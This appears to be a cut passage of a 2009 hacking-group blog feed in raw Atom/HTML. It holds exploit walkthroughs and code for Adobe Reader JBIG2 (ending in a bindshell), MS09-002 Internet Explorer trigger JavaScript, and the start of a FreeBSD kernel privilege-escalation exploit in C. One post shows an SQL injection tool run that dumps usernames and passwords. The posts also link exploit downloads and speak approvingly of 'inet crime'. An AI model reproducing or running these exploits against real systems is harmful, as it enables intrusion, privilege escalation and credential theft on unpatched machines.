00]&lt;/b&gt;00 62 01 00 00 00 2F 44 00 00 75 6D  ....b.../D..um&lt;br /&gt;010B6100  00 00 00 00 25 32 30 61 6E 64 25 32 F4 FF FF FF  ....%20and%2ôÿÿÿ&lt;br /&gt;010B6110 &lt;b&gt;[07 00 00 13]&lt;/b&gt;00 00 72 75 62 D0 A2 01 0C 6B BA 00  ....rubÐ¢.kº.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As you can see, we control the 2 (little endian) pointers at [ECX] and [ECX+0x20] and can place whatever values we wish at these locations by manipulating the stream in our malformed pdf. Our Solution was to simply place a "CALL [ECX+0x20]" at the first location where we land at (after overwriting a called pointer) and to stick where ever we want to land at [ECX+0x20] (or right after our index pointer in our jbig2 stream). &lt;br /&gt;&lt;br /&gt;So, what to overwrite? We spent a day or two looking for static areas of memory that were to be accessed after the crash that would lead to execution. In the end, we decided to take advantage of the Module Entry point of kernel32 located in the 0x00251xxx range. These locations will vary based on SP/pdf you have created but after a little math can be statically calculated. &lt;br /&gt;&lt;br /&gt;00251FD8  7C800000  kernel32.7C800000&lt;br /&gt;&lt;b&gt;00251FDC  7C80B63E  kernel32.&lt;ModuleEntryPoint&gt;    ; &lt;- what we clobber!&lt;/b&gt;&lt;br /&gt;00251FE0  000F6000&lt;br /&gt;00251FE4  00420040  Acrobat.00420040&lt;br /&gt;00251FE8  00251F70  UNICODE "C:\WINDOWS\system32\kernel32.dll"&lt;br /&gt;00251FEC  001A0018&lt;br /&gt;00251FF0  00251F98  UNICODE "kernel32.dll"&lt;br /&gt;00251FF4  80084004&lt;br /&gt;&lt;br /&gt;This is called not to long after our heap spraying has completed and our overwrite has succeeded. This leaves only one last step, to toss your fav high mem address into ECX+0x20. We chose to use something simple, 0x13131313 - which lands in the second portion of our heap spraying code. This technique works both on acrobat/reader 9 with the same offsets :D:D:D. One, two, twenty-three, four...adobe bindshell landing at your door.&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Administrator\Desktop&gt; telnet localhost 5500&lt;br /&gt;&lt;br /&gt;   Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Administrator\Desktop&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blacksecurity.org/download/66/Adobe_JBIG2_Universal_Reader_Acrobat_Exploit"&gt;Bindshell Exploit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;- xort &amp; redsand&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-8217427833862504945?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/8217427833862504945/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html#comment-form' title='27 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/8217427833862504945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/8217427833862504945'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html' title='Adobe Acrobat/Reader Universal Exploit : APSB09-01 (aka CVE-2009-0658)'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>27</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-7250366921975867533</id><published>2009-02-25T12:42:00.000-08:00</published><updated>2009-02-25T12:43:28.836-08:00</updated><title type='text'>trojan.Mdropper.AC In the wild</title><content type='html'>Black Security is currently searching for a copy of 'trojan.Mdropper.AC' in the wild.  If you work for an antivirus company or just so happened to have received a copy of this "virus", please e-mail a copy to redsand@redsand.net.&lt;br /&gt;&lt;br /&gt;Thanks!&lt;br /&gt;&lt;br /&gt;-redsand&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-7250366921975867533?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/7250366921975867533/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/02/trojanmdropperac-in-wild.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/7250366921975867533'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/7250366921975867533'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/02/trojanmdropperac-in-wild.html' title='trojan.Mdropper.AC In the wild'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-5681512123163603626</id><published>2009-02-21T08:19:00.000-08:00</published><updated>2009-02-21T08:50:31.441-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MS09-002'/><category scheme='http://www.blogger.com/atom/ns#' term='CVE-2009-0075'/><title type='text'>MS09-002 / CVE-2009-0075 Analysis</title><content type='html'>Alright, so we've been looking at the recent MS09-002 Memory Corruption Advisory released last week.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/bulletin/MS09-002.mspx "&gt;www.microsoft.com/technet/security/bulletin/MS09-002.mspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We have provided a quick analysis of the vulnerability:&lt;br /&gt;&lt;br /&gt;Initially, we call our global deconstructor to "prep" our memory for corruption.  This method is used to clean up our allocated and potentially lost spaces of memory.  &lt;br /&gt;&lt;br /&gt;CollectGarbage();&lt;br /&gt;&lt;br /&gt;Next, we pad the memory by creating a minimum of 256 image elements within an array.  I found that anything less than 256 does not give us enough padding to leverage when our exception occurs.  Most exploits are using between 512 and 1024 images.  &lt;br /&gt;&lt;br /&gt;var a1 = new Array();&lt;br /&gt;&lt;br /&gt;for (var x = 0; x &amp;lt; 256; x++) {&lt;br /&gt;  a1.push(document.createElement("img"));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then, we want to create a table header or table body for interacting with and start the interaction.  &lt;br /&gt;&lt;br /&gt;        o1=document.createElement("thead"); &lt;br /&gt;        o1.click; &lt;br /&gt;        var o2 = o1.cloneNode();        &lt;br /&gt;        o1.clearAttributes(); &lt;br /&gt;&lt;br /&gt;Once again we're going to prep our memory for corruption here:&lt;br /&gt;&lt;br /&gt;        o1=null; CollectGarbage(); &lt;br /&gt;&lt;br /&gt;The fault is triggered when we free our memory that was allocated by our previously created table head or table body element and then begin overwriting our created element locations, finally calling our table for execution (o2.click).  This results in adjacent heap corruption leading to code execution.&lt;br /&gt;&lt;br /&gt;        for(var x=0;x&amp;lt;a1.length;x++) {&lt;br /&gt;                a1[x].src=s1; &lt;br /&gt;        }&lt;br /&gt;        o2.click;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Our exploit begins with the typical heap spraying method, providing us with a reliable location for installing our stage-1 execution payload.&lt;br /&gt;&lt;br /&gt;Our personal exploit has been trimmed up to speed up execution time.  The shellcode can be replaced to do whatever you'd like.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blacksecurity.org/cve20090075.html.gz"&gt;blacksecurity.org/cve20090075.html.gz&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;- redsand&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-5681512123163603626?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/5681512123163603626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/02/ms09-002-cve-2009-0075-analysis.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/5681512123163603626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/5681512123163603626'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/02/ms09-002-cve-2009-0075-analysis.html' title='MS09-002 / CVE-2009-0075 Analysis'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-2389653348264224983</id><published>2009-02-09T15:04:00.001-08:00</published><updated>2009-02-09T15:15:13.978-08:00</updated><title type='text'>Blinded w/ VNC Viewer vulns.</title><content type='html'>Well, a few things to report here in the blackbl0gs. Firstly, I've spent the past few days looking into/writing exploits for these recent VNC viewer vulns in the RFB protocol. The first vulnerability affects Real VNC viewer &lt;=4.1.2 (CVE-2008-4770). This vulnerability is triggered when incorrect information is passed to CMsgReader::readRect() which can lead to an integer underflow in allocation space. The remaining data in the packet following the allocation size is then copied into the buffer allocated on the stack leading to an SEH overwrite. The second vulnerability which were currently looking into accurately exploiting is a vulnerability in TightVNC &lt;=1.3.9 (CVE-2009-0388). In this vulnerability malicious data can be passed to a Tvnc subfunction in which a null byte overwrite can be triggered via a integer over/underflow @ HeapPointer + ControllableValue. Lotsa fun other hacks going in the priv8 arena. &lt;br /&gt;&lt;br /&gt;ttfn, -xort&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-2389653348264224983?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/2389653348264224983/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/02/blinded-w-vnc-viewer-vulns.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/2389653348264224983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/2389653348264224983'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/02/blinded-w-vnc-viewer-vulns.html' title='Blinded w/ VNC Viewer vulns.'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-4607760022823767709</id><published>2009-02-03T16:32:00.000-08:00</published><updated>2009-02-03T16:34:53.871-08:00</updated><title type='text'>time to blackout - no doubt!</title><content type='html'>blacksec: Fun at bars w/ cpu's&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;img src="http://img27.imageshack.us/img27/838/libhackredsand1wb1.jpg"&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;img src="http://img213.imageshack.us/img213/9808/libhackxort1ty7.jpg"&gt;&lt;br /&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-4607760022823767709?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/4607760022823767709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/02/time-to-blackout-no-doubt.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/4607760022823767709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/4607760022823767709'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/02/time-to-blackout-no-doubt.html' title='time to blackout - no doubt!'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-6650660652209451182</id><published>2009-01-26T18:48:00.000-08:00</published><updated>2009-01-27T11:56:48.822-08:00</updated><title type='text'>MsSQL SQL Injection Data Crawling - Tool Updated</title><content type='html'>We've recently updated the functionality of the sqlidiscover.pl tool used for enumerating sql databases, tables, columns and data fields.  We've included support for adding a custom cookies to your request.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blacksecurity.org/tools/42/sqlidiscover___MsSQL_SQL_Injection_Data_Crawler/124.html"&gt;http://blacksecurity.org/tools/42/sqlidiscover___MsSQL_SQL_Injection_Data_Crawler/124.html&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sqli_discover_tables v0.2 26Jan2009 kaneda 'n phildo, upgraded by redsand.&lt;br /&gt;usage: sqlidiscover [-G|-P] [-v] [-b] [-phostname:port] [-cCookieName:CookieValue] [-avarname1=value1,...,varname2=value2] [-ivarname] URL&lt;br /&gt;&lt;br /&gt;-G - use GET method&lt;br /&gt;-P - use POST method&lt;br /&gt;-a - additional variables i.e. -aaction=create,cid=12&lt;br /&gt;-b - bypass SQL, OS version and current user check&lt;br /&gt;-i - variable to screw with i.e. -itxtPassword&lt;br /&gt;-v - verbose&lt;br /&gt;URL - http://vuln/file.asp&lt;br /&gt;-p - use http/https proxy, format hostname:port i.e. -pmyproxy.com:8080&lt;br /&gt;-c - use browser cookie, format name:value i.e. -cASPSESSIONID:LCACPKILKFN&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here's an actual example:&lt;br /&gt;&lt;br /&gt;jinxy ~ # perl sqlidiscover.pl -c ASPSESSIONIDSSSTRCDB:KCMLJILCJGPBJELANCFHCNGL -v -G -iProductID http://www.example.com/catalog/view.asp&lt;br /&gt;sqli_discover_tables v0.2 26Jan2009 kaneda 'n phildo, upgraded by redsand.&lt;br /&gt;[*] HTTP cookie set to ASPSESSIONIDSSSTRCDB=KCMLJILCJGPBJELANCFHCNGL&lt;br /&gt;[*] URL to process: http://www.example.com/catalog/view.asp&lt;br /&gt;[*] Abusing 'ProductID'...&lt;br /&gt;&lt;br /&gt;[+] OS version: Windows NT 5.2 (Build 3790: Service Pack 2)&lt;br /&gt;[+] Current user: dbo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;unknown_db.test&gt; help&lt;br /&gt;sqliinjection interactive session help&lt;br /&gt;&lt;br /&gt;exit / quit - leave sqli&lt;br /&gt;discover databases / discover dbs - discover all databases on system&lt;br /&gt;discover tables - discover all tables on system&lt;br /&gt;discover columns - discover all columns in current table&lt;br /&gt;select db/database [name] - change context to database [name]&lt;br /&gt;select table [name] - change context to table [name]&lt;br /&gt;fetch n,..,x - fetch data from columns n, etc. (i.e. fetch username,password).&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;unknown_db.test&gt; select database demo&lt;br /&gt;Changing context to demo.test&lt;br /&gt;&lt;br /&gt;demo.test&gt; select table Users&lt;br /&gt;&lt;br /&gt;Changing context to demo.Users&lt;br /&gt;&lt;br /&gt;demo.Users&gt; discover columns&lt;br /&gt;&lt;br /&gt;[*] Enumerating columns for table Users&lt;br /&gt;[+] Column search: found: (0) AccountNumber&lt;br /&gt;[+] Column search: found: (1) Address&lt;br /&gt;[+] Column search: found: (2) Email&lt;br /&gt;[+] Column search: found: (3) Name&lt;br /&gt;[+] Column search: found: (4) Password&lt;br /&gt;[+] Column search: found: (5) Phone&lt;br /&gt;[+] Column search: found: (6) Username&lt;br /&gt;[+] Column search finished, 6 found&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;demo.Users&gt; fetch Username, Password, Name&lt;br /&gt;[+] Using columns Username, Password, Name&lt;br /&gt;[*] Retrieving information for table demo.Users&lt;br /&gt;[+] 3 columns selected for data retrieval&lt;br /&gt;| Username |  Password |  Name &lt;br /&gt;| admin | demo | Demo &lt;br /&gt;| superadmin | master | Master Admin&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-6650660652209451182?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/6650660652209451182/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/01/mssql-sql-injection-data-crawling-tool.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/6650660652209451182'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/6650660652209451182'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/01/mssql-sql-injection-data-crawling-tool.html' title='MsSQL SQL Injection Data Crawling - Tool Updated'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-6824651643804791465</id><published>2009-01-25T19:34:00.000-08:00</published><updated>2009-01-25T19:51:54.242-08:00</updated><title type='text'>MS09-001 followup - Just DoS bugs?</title><content type='html'>It appears that the 3 vulnerabilities convered in MS09-001 due not lead to code execution. We spent the last few days really tearing into these and could not produce any conditions that were controllable that would lead to code execution. The ANDX bug had already been determined to be simply a DOS but it was thought that the NTTRANS/TRANS2 bugs could lead to code execution. Opon further review, we found that in the case of both bugs, a buffer underflow could be caused in which a buffer would be allocated with not enough memory which would later be zeroed out later in the SMB processing functions of transaction requests. It was here that the now corrupted system heap pool would crash in srv.sys during a pool-bugcheck. The crashs can actually be triggered a number of ways - leading to a similiar crash - just with different origins. Were still looking into possible avenues of taversing the MPX functionality but as for now... code execution does not look possible. &lt;br /&gt;&lt;br /&gt;Think the group will try to spend some time this week looking at other possible vulnerable functionality in SMB. Seems like there is alot of room for error.&lt;br /&gt;&lt;br /&gt;-xort&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-6824651643804791465?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/6824651643804791465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/01/ms09-001-followup-just-dos-bugs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/6824651643804791465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/6824651643804791465'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/01/ms09-001-followup-just-dos-bugs.html' title='MS09-001 followup - Just DoS bugs?'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-2824962366427094816</id><published>2009-01-15T20:42:00.000-08:00</published><updated>2009-01-25T19:34:11.716-08:00</updated><title type='text'>A race for MS09 (001) ... get ready for inet crime!</title><content type='html'>An update on our analysis of MS09-001's patch provided in KB958687. The patch fixes a vulnerability in Microsoft's SMB handling code. An unauthenticated attacker can connect to a host on a local LAN over SMB or utilize DCERPC/SMB over the internet in order to access a vulnerable host. &lt;br /&gt;&lt;br /&gt;We have spent the past day looking into what exactly was patched and have determined that the patch fixes 5 functions in srv.sys that can theoretically lead to remote execution of code (This has yet to be confirmed - nor debunked...).&lt;br /&gt;&lt;br /&gt;The functions patched in srv.sys are:&lt;br /&gt;&lt;br /&gt;     SrvSmbWriteMpx()&lt;br /&gt;     SrvIpxServerDatagramHandlerCommon()&lt;br /&gt;     SrvSmbWriteRaw()&lt;br /&gt;     SrvSmbWriteAndX()&lt;br /&gt;     SrvSmbOpen()&lt;br /&gt;&lt;br /&gt;Our group has already produced functioning code that can in part trigger these functions in the manner that is needed to trigger the (3) vulnerabilities discussed in the zeroday initiative's advisories. Trans/Trans2 here we come :D&lt;br /&gt;&lt;br /&gt;The funny thing is, no-one else seems to have posted any information on this or is really getting close to exploiting this in the public domain. Whats the deal? Well - blacksec will have to keep ya' updated with the juicy details while the girls catch up eh? &lt;br /&gt;&lt;br /&gt;-xort/bannedit-&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-2824962366427094816?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/2824962366427094816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/01/race-for-ms09-001-get-ready-for-inet.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/2824962366427094816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/2824962366427094816'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/01/race-for-ms09-001-get-ready-for-inet.html' title='A race for MS09 (001) ... get ready for inet crime!'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-1916660451062436277</id><published>2009-01-13T20:51:00.000-08:00</published><updated>2009-01-13T20:57:05.240-08:00</updated><title type='text'>back on a mission and ready to ride</title><content type='html'>So we have decided to bring the blogs back for a bit to let some of our members post to. There's been alot of activity over the since the holidays have ended. Were currently looking into alternative heap spraying techniques that don't utilize java, in the process of researching several MS vulns (namely ms09-001 atm), and have been doing a bit of reversing to make some security software play nice. &lt;br /&gt;&lt;br /&gt;More post coming soon - xort&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-1916660451062436277?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/1916660451062436277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/01/back-on-mission-and-ready-to-ride.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/1916660451062436277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/1916660451062436277'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/01/back-on-mission-and-ready-to-ride.html' title='back on a mission and ready to ride'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-4502328294343297633</id><published>2008-12-26T09:32:00.000-08:00</published><updated>2008-12-26T10:01:28.973-08:00</updated><title type='text'>FreeBSD Local Root Privilege Escalation Vulnerability Hits Like a Ton of Bricks</title><content type='html'>&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We've been following the recent FreeBSD Security Advisory http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc .  This vulnerability allows us to write data within kernel memory itself.  Nice work to Don and the original discoverer, Christer Oberg.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;-----BEGIN PGP SIGNED MESSAGE-----&lt;br /&gt;Hash: SHA1&lt;br /&gt;&lt;br /&gt;uname -rs&lt;br /&gt;FreeBSD 7.0-RELEASE&lt;br /&gt;id&lt;br /&gt;uid=1001(donb) gid=1001(donb) groups=1001(donb),0(wheel)&lt;br /&gt;grep ^root /etc/master.passwd&lt;br /&gt;grep: /etc/master.passwd: Permission denied&lt;br /&gt;nm /boot/kernel/kernel | grep allproc&lt;br /&gt;c0bf26b8 B allproc&lt;br /&gt;c0bf2670 B allproc_lock&lt;br /&gt;cc -o x x.c&lt;br /&gt;./x 0xc0bf26b8&lt;br /&gt;euid=0&lt;br /&gt;id&lt;br /&gt;uid=1001(donb) gid=1001(donb) euid=0(root) groups=1001(donb),0(wheel)&lt;br /&gt;grep ^root /etc/master.passwd&lt;br /&gt;root:$1$fuS6o3Qy$iFlUEpD9Y3ph7rOzMU/br1:0:0::0:0:Charlie &amp;:/root:/bin/csh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Happy holidays, all!&lt;br /&gt;&lt;br /&gt;D&lt;br /&gt;-----BEGIN PGP SIGNATURE-----&lt;br /&gt;Version: GnuPG v2.0.9 (GNU/Linux)&lt;br /&gt;&lt;br /&gt;iEYEARECAAYFAklUla4ACgkQttfe3HwtctN/fgCeJDmmpOK8bn1dnssxOkTZXdUg&lt;br /&gt;idUAmwdyoMZnoEfnrR14TQlRDli9mv+j&lt;br /&gt;=Pixh&lt;br /&gt;-----END PGP SIGNATURE-----&lt;br /&gt;&lt;pre name="code" class="c"&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * This is a quick and very dirty exploit for the FreeBSD protosw vulnerability&lt;br /&gt; * defined here: &lt;br /&gt; * http://security.freebsd.org/advisories/FreeBSD-SA-08:13.protosw.asc&lt;br /&gt; *&lt;br /&gt; * This will overwrite your credential structure in the kernel. This will &lt;br /&gt; * affect more than just the exploit's process, which is why this doesn't&lt;br /&gt; * spawn a shell. When the exploit has finished, your login shell should&lt;br /&gt; * have euid=0. &lt;br /&gt; *&lt;br /&gt; * Enjoy, and happy holidays!&lt;br /&gt; *  - Don &amp;quot;north&amp;quot; Bailey (don.bailey@gmail.com) 12/25/2008&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/time.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/proc.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/param.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;netgraph/ng_socket.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;&lt;br /&gt;#define PAGES 1&lt;br /&gt;#define PATTERN1 0x8f8f8f8f&lt;br /&gt;#define PATTERN2 0x6e6e6e6e&lt;br /&gt;&lt;br /&gt;typedef unsigned long ulong;&lt;br /&gt;typedef unsigned char uchar;&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;x(void)&lt;br /&gt;{&lt;br /&gt; struct proc * p = (struct proc * )PATTERN1;&lt;br /&gt; uint * i;&lt;br /&gt;&lt;br /&gt; while(1)&lt;br /&gt; {&lt;br /&gt;  if(p-&amp;gt;p_pid == PATTERN2)&lt;br /&gt;  {&lt;br /&gt;   i = (uint * )p-&amp;gt;p_ucred;&lt;br /&gt;   *++i = 0;&lt;br /&gt;   break;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  p = p-&amp;gt;p_list.le_next;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int&lt;br /&gt;main(int argc, char * argv[])&lt;br /&gt;{&lt;br /&gt; ulong addr;&lt;br /&gt; uchar * c;&lt;br /&gt; uchar * d;&lt;br /&gt; uint * i;&lt;br /&gt; void * v;&lt;br /&gt; int pid;&lt;br /&gt; int s;&lt;br /&gt;&lt;br /&gt; if(argc != 2)&lt;br /&gt; {&lt;br /&gt;  fprintf(stderr, &amp;quot;usage: ./x &amp;lt;allproc&amp;gt;&lt;br /&gt;&amp;quot;);&lt;br /&gt;  return 1;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; addr 